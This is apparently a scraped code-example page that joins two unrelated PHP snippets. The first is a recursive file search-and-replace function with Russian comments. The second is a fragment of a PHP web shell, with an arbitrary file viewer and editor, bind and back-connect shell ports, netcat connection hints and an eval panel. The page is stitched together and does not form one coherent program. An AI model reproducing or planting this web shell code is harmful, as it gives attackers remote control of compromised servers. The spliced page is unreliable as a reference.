function xdir($path, $search_str, $mode, $replace, $recursion, $found_text_class = 'text-danger')
{
    global $extensions;
    global $ignore_files;
    global $found;
    global $count;
    // если не выбрано ни одно расширение, то не искать
    if (empty($extensions)) {
        return array();
    }
    // открываем папку и получаем её handle (дескриптор)
    if (($dir_handle = @opendir($path)) !== false) {
        // открываем файл по списку и получаем его handle (дескриптор)
        while (($file = readdir($dir_handle)) !== false) {
            // если это файл-исключение, то пропускаем
            if (in_array($file, $ignore_files)) {
                continue;
            }
            $count++;
            // инкрементируем счётчик
            $file = $path . '/' . $file;
            if (is_dir($file) && $recursion) {
                // определяет, является ли имя текущего файла директорией
                xdir($file, $search_str, $mode, $replace, $recursion, $found_text_class);
                // если это директория, выполняем рекурсию и заходим в неё
            }
            // если это файл и он пододит по расширению
            if (is_file($file) && in_array(pathinfo($file, PATHINFO_EXTENSION), $extensions)) {
                $f = @fopen($file, 'rb');
                // открывает поток IO файла; 'r' - открывает файл только для чтения; помещает указатель в начало файла.
                // если файл удалось открыть
                if ($f !== false) {
                    $char = @fread($f, filesize($file));
                    // читаем весь файл
                    if (@strstr($char, $search_str)) {
                        // если искомая строка найдена в файле
                        $found[] = $file;
                        // добавляем файл в массив найденных файлов
                        echo '<p class="' . $found_text_class . '" >' . $file . '<span class="text-muted" > - <strong>' . $search_str . '</strong></span>';
                        // вывод имени найденного файла
                    }
                    @fclose($f);
                    // закрываем поток IO
                    // если используется режим поиска и замены
                    if ($mode == 'replace') {
                        $new_content = str_replace($search_str, $replace, $char, $replace_count);
                        // создаём обновленное содержимое файла
                        // если есть что заменять
                        if ($replace_count > 0) {
                            $f = @fopen($file, 'wb');
                            // открывает поток IO файла; 'wb' - Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длины.
                            // если файл удалось открыть
                            if ($f !== false) {
                                @fwrite($f, $new_content);
                                // пишем в файл содержимое после замены
                                echo '<span class="text-muted" >&emsp;&emsp;=> выполнено замен: <strong>' . $replace_count . '</strong></span>';
                                @fclose($f);
                            } else {
                                echo '<h3><p class="text-warning" >' . $file . ' - access denied - запись в файл невозможна</p></h3>';
                            }
                        }
                    }
                    echo '</p>';
                } else {
                    echo '<h3><p class="text-warning" >' . $file . ' - access denied - чтение файла не удалось</p></h3>';
                }
            }
        }
        closedir($dir_handle);
        // закрываем поток чтения папки
    } else {
        echo '<h3><p class="text-warning" >' . $path . ' - access denied - чтение папки не удалось</p></h3>';
    }
    return $found;
}
Example #2
0
        } else {
            $pesan = "Failed to save file";
        }
        $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>" . $pesan . "<span class=\"gaul\"> ]</span></span>";
    } else {
        if (isset($_GET['view']) && $_GET['view'] != "") {
            $file = xclean(trim($_GET['view']));
        } else {
            $file = $xCwd . xclean(trim($_GET['filename']));
        }
    }
    $result = xfileopen($file);
    $result = htmlentities($result);
    $result = "\n\t<p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=" . $xCwd . "&properties=" . $file . "\">" . xfilesummary($file) . "</a>" . $msg . "</p><div style=\"clear:both;margin:0;padding:0;\"></div>\n\t<form action=\"?dir=" . $xCwd . "&view=" . $file . "\" method=\"post\">\n<textarea name=\"filesource\" style=\"width:100%;height:200px;\">" . $result . "</textarea>\n\t<input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"" . $file . "\" />\n\t<input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />\n\t</form>\n\t";
} else {
    $result = xdir($xCwd);
}
//################# Finalizing #######################======================================================]
if ($auth) {
    if (isset($_GET['bportC'])) {
        $bportC = $_GET['bportC'];
    } else {
        $bportC = $shell_fav_port;
    }
    if (isset($_GET['lportC'])) {
        $lportC = $_GET['lportC'];
    } else {
        $lportC = $shell_fav_port;
    }
    $html_title = $shell_title . " " . $xCwd;
    $html_head = "\n<title>" . $html_title . "</title>\n<link rel=\"SHORTCUT ICON\" href=\"" . $_SERVER['SCRIPT_NAME'] . "?img=icon\" />\n" . $shell_style . "\n<script type=\"text/javascript\">\nfunction updateInfo(boxid,typ){\n\tif(typ == 0){\n\t\tvar pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';\n\t}\n\telse{\n\t\tvar pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc " . $xServerIP . " __PORT__&quot;';\n\t}\n\n\tvar portnum = document.getElementById(boxid).value;\n\n\tvar hasil = pola.replace('__PORT__', portnum);\n\tdocument.getElementById(boxid+'_').innerHTML = hasil;\n}\nfunction show(boxid){\n\tvar box = document.getElementById(boxid);\n\tif(box.style.display != 'inline'){\n\t\tdocument.getElementById('newfile').style.display = 'none';\n\t\tdocument.getElementById('newfolder').style.display = 'none';\n\t\tdocument.getElementById('newupload').style.display = 'none';\n\t\tdocument.getElementById('newchild').style.display = 'none';\n\t\tdocument.getElementById('newconnect').style.display = 'none';\n\t\tdocument.getElementById('div_eval').style.display = 'none';\n\n\t\tbox.style.display = 'inline';\n\t\tbox.focus();\n\t}\n\telse box.style.display = 'none';\n}\nfunction highlighthexdump(address){\n\tvar target = document.getElementById(address);\n\ttarget.style.background = '" . $shell_color . "';\n}\nfunction unhighlighthexdump(address){\n\tvar target = document.getElementById(address);\n\ttarget.style.background = 'none';\n}\n</script>\n";